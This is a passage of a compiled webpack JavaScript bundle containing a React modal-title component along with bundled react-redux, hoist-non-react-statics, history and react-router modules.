function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ModalTitle = function (_Component) {
_inherits(ModalTitle, _Component);
function ModalTitle(props) {
_classCallCheck(this, ModalTitle);
return _possibleConstructorReturn(this, (ModalTitle.__proto__ || Object.getPrototypeOf(ModalTitle)).call(this, props));
}
_createClass(ModalTitle, [{
key: 'render',
value: function render() {
var titleId = this.props.id ? 'modal-' + this.props.id + '--title' : 'unique-id-required';
var titleLabel = this.props.label ? this.props.label : 'A title is required for your modals';
var titleTag = !_.isUndefined(this.props.tag) && '' !== this.props.tag ? this.props.tag : '';
// eslint-disable-next-line max-len
var titleTagColor = !_.isUndefined(this.props.tagColor) && '' !== this.props.tagColor ? ' sui-tag-' + this.props.titleTagColor : '';
var titleClass = 'sui-box-title';
if ('lg' === this.props.size) {
titleClass += ' sui-lg';
}
if (!_.isUndefined(this.props.customClass) && '' !== this.props.customClass) {
titleClass += ' ' + this.props.customClass;
}
return _react2.default.createElement(
'h3',
{ id: titleId, className: titleClass },
titleLabel,
'' !== titleTag && _react2.default.createElement(
'span',
{
className: 'sui-tag' + titleTagColor,
style: { marginTop: '-2px', marginLeft: '10px' }
},
titleTag
)
);
}
}]);
return ModalTitle;
}(_react.Component);
exports.default = ModalTitle;
/***/ }),
/* 67 */,
/* 68 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return subscriptionShape; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return storeShape; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_prop_types__);
var subscriptionShape = __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.shape({
trySubscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
tryUnsubscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
notifyNestedSubs: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
isSubscribed: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired
});
var storeShape = __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.shape({
subscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
dispatch: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
getState: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired
});
/***/ }),
/* 69 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = connectAdvanced;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics__ = __webpack_require__(70);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__utils_Subscription__ = __webpack_require__(119);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__ = __webpack_require__(68);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
var hotReloadingVersion = 0;
var dummyState = {};
function noop() {}
function makeSelectorStateful(sourceSelector, store) {
// wrap the selector in an object that tracks its results between runs.
var selector = {
run: function runComponentSelector(props) {
try {
var nextProps = sourceSelector(store.getState(), props);
if (nextProps !== selector.props || selector.error) {
selector.shouldComponentUpdate = true;
selector.props = nextProps;
selector.error = null;
}
} catch (error) {
selector.shouldComponentUpdate = true;
selector.error = error;
}
}
};
return selector;
}
function connectAdvanced(
/*
selectorFactory is a func that is responsible for returning the selector function used to
compute new props from state, props, and dispatch. For example:
export default connectAdvanced((dispatch, options) => (state, props) => ({
thing: state.things[props.thingId],
saveThing: fields => dispatch(actionCreators.saveThing(props.thingId, fields)),
}))(YourComponent)
Access to dispatch is provided to the factory so selectorFactories can bind actionCreators
outside of their selector as an optimization. Options passed to connectAdvanced are passed to
the selectorFactory, along with displayName and WrappedComponent, as the second argument.
Note that selectorFactory is responsible for all caching/memoization of inbound and outbound
props. Do not use connectAdvanced directly without memoizing results between calls to your
selector, otherwise the Connect component will re-render on every state or props change.
*/
selectorFactory) {
var _contextTypes, _childContextTypes;
var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},
_ref$getDisplayName = _ref.getDisplayName,
getDisplayName = _ref$getDisplayName === undefined ? function (name) {
return 'ConnectAdvanced(' + name + ')';
} : _ref$getDisplayName,
_ref$methodName = _ref.methodName,
methodName = _ref$methodName === undefined ? 'connectAdvanced' : _ref$methodName,
_ref$renderCountProp = _ref.renderCountProp,
renderCountProp = _ref$renderCountProp === undefined ? undefined : _ref$renderCountProp,
_ref$shouldHandleStat = _ref.shouldHandleStateChanges,
shouldHandleStateChanges = _ref$shouldHandleStat === undefined ? true : _ref$shouldHandleStat,
_ref$storeKey = _ref.storeKey,
storeKey = _ref$storeKey === undefined ? 'store' : _ref$storeKey,
_ref$withRef = _ref.withRef,
withRef = _ref$withRef === undefined ? false : _ref$withRef,
connectOptions = _objectWithoutProperties(_ref, ['getDisplayName', 'methodName', 'renderCountProp', 'shouldHandleStateChanges', 'storeKey', 'withRef']);
var subscriptionKey = storeKey + 'Subscription';
var version = hotReloadingVersion++;
var contextTypes = (_contextTypes = {}, _contextTypes[storeKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["a" /* storeShape */], _contextTypes[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["b" /* subscriptionShape */], _contextTypes);
var childContextTypes = (_childContextTypes = {}, _childContextTypes[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["b" /* subscriptionShape */], _childContextTypes);
return function wrapWithConnect(WrappedComponent) {
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(typeof WrappedComponent == 'function', 'You must pass a component to the function returned by ' + (methodName + '. Instead received ' + JSON.stringify(WrappedComponent)));
var wrappedComponentName = WrappedComponent.displayName || WrappedComponent.name || 'Component';
var displayName = getDisplayName(wrappedComponentName);
var selectorFactoryOptions = _extends({}, connectOptions, {
getDisplayName: getDisplayName,
methodName: methodName,
renderCountProp: renderCountProp,
shouldHandleStateChanges: shouldHandleStateChanges,
storeKey: storeKey,
withRef: withRef,
displayName: displayName,
wrappedComponentName: wrappedComponentName,
WrappedComponent: WrappedComponent
});
var Connect = function (_Component) {
_inherits(Connect, _Component);
function Connect(props, context) {
_classCallCheck(this, Connect);
var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));
_this.version = version;
_this.state = {};
_this.renderCount = 0;
_this.store = props[storeKey] || context[storeKey];
_this.propsMode = Boolean(props[storeKey]);
_this.setWrappedInstance = _this.setWrappedInstance.bind(_this);
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(_this.store, 'Could not find "' + storeKey + '" in either the context or props of ' + ('"' + displayName + '". Either wrap the root component in a <Provider>, ') + ('or explicitly pass "' + storeKey + '" as a prop to "' + displayName + '".'));
_this.initSelector();
_this.initSubscription();
return _this;
}
Connect.prototype.getChildContext = function getChildContext() {
var _ref2;
// If this component received store from props, its subscription should be transparent
// to any descendants receiving store+subscription from context; it passes along
// subscription passed to it. Otherwise, it shadows the parent subscription, which allows
// Connect to control ordering of notifications to flow top-down.
var subscription = this.propsMode ? null : this.subscription;
return _ref2 = {}, _ref2[subscriptionKey] = subscription || this.context[subscriptionKey], _ref2;
};
Connect.prototype.componentDidMount = function componentDidMount() {
if (!shouldHandleStateChanges) return;
// componentWillMount fires during server side rendering, but componentDidMount and
// componentWillUnmount do not. Because of this, trySubscribe happens during ...didMount.
// Otherwise, unsubscription would never take place during SSR, causing a memory leak.
// To handle the case where a child component may have triggered a state change by
// dispatching an action in its componentWillMount, we have to re-run the select and maybe
// re-render.
this.subscription.trySubscribe();
this.selector.run(this.props);
if (this.selector.shouldComponentUpdate) this.forceUpdate();
};
Connect.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
this.selector.run(nextProps);
};
Connect.prototype.shouldComponentUpdate = function shouldComponentUpdate() {
return this.selector.shouldComponentUpdate;
};
Connect.prototype.componentWillUnmount = function componentWillUnmount() {
if (this.subscription) this.subscription.tryUnsubscribe();
this.subscription = null;
this.notifyNestedSubs = noop;
this.store = null;
this.selector.run = noop;
this.selector.shouldComponentUpdate = false;
};
Connect.prototype.getWrappedInstance = function getWrappedInstance() {
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(withRef, 'To access the wrapped instance, you need to specify ' + ('{ withRef: true } in the options argument of the ' + methodName + '() call.'));
return this.wrappedInstance;
};
Connect.prototype.setWrappedInstance = function setWrappedInstance(ref) {
this.wrappedInstance = ref;
};
Connect.prototype.initSelector = function initSelector() {
var sourceSelector = selectorFactory(this.store.dispatch, selectorFactoryOptions);
this.selector = makeSelectorStateful(sourceSelector, this.store);
this.selector.run(this.props);
};
Connect.prototype.initSubscription = function initSubscription() {
if (!shouldHandleStateChanges) return;
// parentSub's source should match where store came from: props vs. context. A component
// connected to the store via props shouldn't use subscription from context, or vice versa.
var parentSub = (this.propsMode ? this.props : this.context)[subscriptionKey];
this.subscription = new __WEBPACK_IMPORTED_MODULE_3__utils_Subscription__["a" /* default */](this.store, parentSub, this.onStateChange.bind(this));
// `notifyNestedSubs` is duplicated to handle the case where the component is unmounted in
// the middle of the notification loop, where `this.subscription` will then be null. An
// extra null check every change can be avoided by copying the method onto `this` and then
// replacing it with a no-op on unmount. This can probably be avoided if Subscription's
// listeners logic is changed to not call listeners that have been unsubscribed in the
// middle of the notification loop.
this.notifyNestedSubs = this.subscription.notifyNestedSubs.bind(this.subscription);
};
Connect.prototype.onStateChange = function onStateChange() {
this.selector.run(this.props);
if (!this.selector.shouldComponentUpdate) {
this.notifyNestedSubs();
} else {
this.componentDidUpdate = this.notifyNestedSubsOnComponentDidUpdate;
this.setState(dummyState);
}
};
Connect.prototype.notifyNestedSubsOnComponentDidUpdate = function notifyNestedSubsOnComponentDidUpdate() {
// `componentDidUpdate` is conditionally implemented when `onStateChange` determines it
// needs to notify nested subs. Once called, it unimplements itself until further state
// changes occur. Doing it this way vs having a permanent `componentDidUpdate` that does
// a boolean check every time avoids an extra method call most of the time, resulting
// in some perf boost.
this.componentDidUpdate = undefined;
this.notifyNestedSubs();
};
Connect.prototype.isSubscribed = function isSubscribed() {
return Boolean(this.subscription) && this.subscription.isSubscribed();
};
Connect.prototype.addExtraProps = function addExtraProps(props) {
if (!withRef && !renderCountProp && !(this.propsMode && this.subscription)) return props;
// make a shallow copy so that fields added don't leak to the original selector.
// this is especially important for 'ref' since that's a reference back to the component
// instance. a singleton memoized selector would then be holding a reference to the
// instance, preventing the instance from being garbage collected, and that would be bad
var withExtras = _extends({}, props);
if (withRef) withExtras.ref = this.setWrappedInstance;
if (renderCountProp) withExtras[renderCountProp] = this.renderCount++;
if (this.propsMode && this.subscription) withExtras[subscriptionKey] = this.subscription;
return withExtras;
};
Connect.prototype.render = function render() {
var selector = this.selector;
selector.shouldComponentUpdate = false;
if (selector.error) {
throw selector.error;
} else {
return Object(__WEBPACK_IMPORTED_MODULE_2_react__["createElement"])(WrappedComponent, this.addExtraProps(selector.props));
}
};
return Connect;
}(__WEBPACK_IMPORTED_MODULE_2_react__["Component"]);
Connect.WrappedComponent = WrappedComponent;
Connect.displayName = displayName;
Connect.childContextTypes = childContextTypes;
Connect.contextTypes = contextTypes;
Connect.propTypes = contextTypes;
if (process.env.NODE_ENV !== 'production') {
Connect.prototype.componentWillUpdate = function componentWillUpdate() {
var _this2 = this;
// We are hot reloading!
if (this.version !== version) {
this.version = version;
this.initSelector();
// If any connected descendants don't hot reload (and resubscribe in the process), their
// listeners will be lost when we unsubscribe. Unfortunately, by copying over all
// listeners, this does mean that the old versions of connected descendants will still be
// notified of state changes; however, their onStateChange function is a no-op so this
// isn't a huge deal.
var oldListeners = [];
if (this.subscription) {
oldListeners = this.subscription.listeners.get();
this.subscription.tryUnsubscribe();
}
this.initSubscription();
if (shouldHandleStateChanges) {
this.subscription.trySubscribe();
oldListeners.forEach(function (listener) {
return _this2.subscription.listeners.subscribe(listener);
});
}
}
};
}
return __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics___default()(Connect, WrappedComponent);
};
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 70 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Copyright 2015, Yahoo! Inc.
* Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
*/
var REACT_STATICS = {
childContextTypes: true,
contextTypes: true,
defaultProps: true,
displayName: true,
getDefaultProps: true,
getDerivedStateFromProps: true,
mixins: true,
propTypes: true,
type: true
};
var KNOWN_STATICS = {
name: true,
length: true,
prototype: true,
caller: true,
callee: true,
arguments: true,
arity: true
};
var defineProperty = Object.defineProperty;
var getOwnPropertyNames = Object.getOwnPropertyNames;
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
var getPrototypeOf = Object.getPrototypeOf;
var objectPrototype = getPrototypeOf && getPrototypeOf(Object);
function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components
if (objectPrototype) {
var inheritedComponent = getPrototypeOf(sourceComponent);
if (inheritedComponent && inheritedComponent !== objectPrototype) {
hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
}
}
var keys = getOwnPropertyNames(sourceComponent);
if (getOwnPropertySymbols) {
keys = keys.concat(getOwnPropertySymbols(sourceComponent));
}
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
if (!REACT_STATICS[key] && !KNOWN_STATICS[key] && (!blacklist || !blacklist[key])) {
var descriptor = getOwnPropertyDescriptor(sourceComponent, key);
try { // Avoid failures from read-only properties
defineProperty(targetComponent, key, descriptor);
} catch (e) {}
}
}
return targetComponent;
}
return targetComponent;
}
module.exports = hoistNonReactStatics;
/***/ }),
/* 71 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = wrapMapToPropsConstant;
/* unused harmony export getDependsOnOwnProps */
/* harmony export (immutable) */ __webpack_exports__["b"] = wrapMapToPropsFunc;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__ = __webpack_require__(72);
function wrapMapToPropsConstant(getConstant) {
return function initConstantSelector(dispatch, options) {
var constant = getConstant(dispatch, options);
function constantSelector() {
return constant;
}
constantSelector.dependsOnOwnProps = false;
return constantSelector;
};
}
// dependsOnOwnProps is used by createMapToPropsProxy to determine whether to pass props as args
// to the mapToProps function being wrapped. It is also used by makePurePropsSelector to determine
// whether mapToProps needs to be invoked when props have changed.
//
// A length of one signals that mapToProps does not depend on props from the parent component.
// A length of zero is assumed to mean mapToProps is getting args via arguments or ...args and
// therefore not reporting its length accurately..
function getDependsOnOwnProps(mapToProps) {
return mapToProps.dependsOnOwnProps !== null && mapToProps.dependsOnOwnProps !== undefined ? Boolean(mapToProps.dependsOnOwnProps) : mapToProps.length !== 1;
}
// Used by whenMapStateToPropsIsFunction and whenMapDispatchToPropsIsFunction,
// this function wraps mapToProps in a proxy function which does several things:
//
// * Detects whether the mapToProps function being called depends on props, which
// is used by selectorFactory to decide if it should reinvoke on props changes.
//
// * On first call, handles mapToProps if returns another function, and treats that
// new function as the true mapToProps for subsequent calls.
//
// * On first call, verifies the first result is a plain object, in order to warn
// the developer that their mapToProps function is not returning a valid result.
//
function wrapMapToPropsFunc(mapToProps, methodName) {
return function initProxySelector(dispatch, _ref) {
var displayName = _ref.displayName;
var proxy = function mapToPropsProxy(stateOrDispatch, ownProps) {
return proxy.dependsOnOwnProps ? proxy.mapToProps(stateOrDispatch, ownProps) : proxy.mapToProps(stateOrDispatch);
};
// allow detectFactoryAndVerify to get ownProps
proxy.dependsOnOwnProps = true;
proxy.mapToProps = function detectFactoryAndVerify(stateOrDispatch, ownProps) {
proxy.mapToProps = mapToProps;
proxy.dependsOnOwnProps = getDependsOnOwnProps(mapToProps);
var props = proxy(stateOrDispatch, ownProps);
if (typeof props === 'function') {
proxy.mapToProps = props;
proxy.dependsOnOwnProps = getDependsOnOwnProps(props);
props = proxy(stateOrDispatch, ownProps);
}
if (process.env.NODE_ENV !== 'production') Object(__WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__["a" /* default */])(props, displayName, methodName);
return props;
};
return proxy;
};
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 72 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = verifyPlainObject;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_lodash_es_isPlainObject__ = __webpack_require__(126);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__warning__ = __webpack_require__(45);
function verifyPlainObject(value, displayName, methodName) {
if (!Object(__WEBPACK_IMPORTED_MODULE_0_lodash_es_isPlainObject__["a" /* default */])(value)) {
Object(__WEBPACK_IMPORTED_MODULE_1__warning__["a" /* default */])(methodName + '() in ' + displayName + ' must return a plain object. Instead received ' + value + '.');
}
}
/***/ }),
/* 73 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__root_js__ = __webpack_require__(128);
/** Built-in value references. */
var Symbol = __WEBPACK_IMPORTED_MODULE_0__root_js__["a" /* default */].Symbol;
/* harmony default export */ __webpack_exports__["a"] = (Symbol);
/***/ }),
/* 74 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return canUseDOM; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return addEventListener; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return removeEventListener; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return getConfirmation; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "g", function() { return supportsHistory; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "h", function() { return supportsPopStateOnHashChange; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return supportsGoWithoutReloadUsingHash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return isExtraneousPopstateEvent; });
var canUseDOM = !!(typeof window !== 'undefined' && window.document && window.document.createElement);
var addEventListener = function addEventListener(node, event, listener) {
return node.addEventListener ? node.addEventListener(event, listener, false) : node.attachEvent('on' + event, listener);
};
var removeEventListener = function removeEventListener(node, event, listener) {
return node.removeEventListener ? node.removeEventListener(event, listener, false) : node.detachEvent('on' + event, listener);
};
var getConfirmation = function getConfirmation(message, callback) {
return callback(window.confirm(message));
}; // eslint-disable-line no-alert
/**
* Returns true if the HTML5 history API is supported. Taken from Modernizr.
*
* https://github.com/Modernizr/Modernizr/blob/master/LICENSE
* https://github.com/Modernizr/Modernizr/blob/master/feature-detects/history.js
* changed to avoid false negatives for Windows Phones: https://github.com/reactjs/react-router/issues/586
*/
var supportsHistory = function supportsHistory() {
var ua = window.navigator.userAgent;
if ((ua.indexOf('Android 2.') !== -1 || ua.indexOf('Android 4.0') !== -1) && ua.indexOf('Mobile Safari') !== -1 && ua.indexOf('Chrome') === -1 && ua.indexOf('Windows Phone') === -1) return false;
return window.history && 'pushState' in window.history;
};
/**
* Returns true if browser fires popstate on hash change.
* IE10 and IE11 do not.
*/
var supportsPopStateOnHashChange = function supportsPopStateOnHashChange() {
return window.navigator.userAgent.indexOf('Trident') === -1;
};
/**
* Returns false if using go(n) with hash history causes a full page reload.
*/
var supportsGoWithoutReloadUsingHash = function supportsGoWithoutReloadUsingHash() {
return window.navigator.userAgent.indexOf('Firefox') === -1;
};
/**
* Returns true if a given popstate event is an extraneous WebKit event.
* Accounts for the fact that Chrome on iOS fires real popstate events
* containing undefined state when pressing the back button.
*/
var isExtraneousPopstateEvent = function isExtraneousPopstateEvent(event) {
return event.state === undefined && navigator.userAgent.indexOf('CriOS') === -1;
};
/***/ }),
/* 75 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var isModifiedEvent = function isModifiedEvent(event) {
return !!(event.metaKey || event.altKey || event.ctrlKey || event.shiftKey);
};
/**
* The public API for rendering a history-aware <a>.
*/
var Link = function (_React$Component) {
_inherits(Link, _React$Component);
function Link() {
var _temp, _this, _ret;
_classCallCheck(this, Link);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.handleClick = function (event) {
if (_this.props.onClick) _this.props.onClick(event);
if (!event.defaultPrevented && // onClick prevented default
event.button === 0 && // ignore everything but left clicks
!_this.props.target && // let browser handle "target=_blank" etc.
!isModifiedEvent(event) // ignore clicks with modifier keys
) {
event.preventDefault();
var history = _this.context.router.history;
var _this$props = _this.props,
replace = _this$props.replace,
to = _this$props.to;
if (replace) {
history.replace(to);
} else {
history.push(to);
}
}
}, _temp), _possibleConstructorReturn(_this, _ret);
}
Link.prototype.render = function render() {
var _props = this.props,
replace = _props.replace,
to = _props.to,
innerRef = _props.innerRef,
props = _objectWithoutProperties(_props, ["replace", "to", "innerRef"]); // eslint-disable-line no-unused-vars
__WEBPACK_IMPORTED_MODULE_2_invariant___default()(this.context.router, "You should not use <Link> outside a <Router>");
__WEBPACK_IMPORTED_MODULE_2_invariant___default()(to !== undefined, 'You must specify the "to" property');
var history = this.context.router.history;
var location = typeof to === "string" ? Object(__WEBPACK_IMPORTED_MODULE_3_history__["c" /* createLocation */])(to, null, null, history.location) : to;
var href = history.createHref(location);
return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement("a", _extends({}, props, { onClick: this.handleClick, href: href, ref: innerRef }));
};
return Link;
}(__WEBPACK_IMPORTED_MODULE_0_react___default.a.Component);
Link.propTypes = {
onClick: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func,
target: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
replace: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
to: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object]).isRequired,
innerRef: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func])
};
Link.defaultProps = {
replace: false
};
Link.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
history: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
push: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired,
replace: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired,
createHref: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired
}).isRequired
}).isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (Link);
/***/ }),
/* 76 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Route__ = __webpack_require__(77);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Route__["a" /* default */]);
/***/ }),
/* 77 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__matchPath__ = __webpack_require__(49);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var isEmptyChildren = function isEmptyChildren(children) {
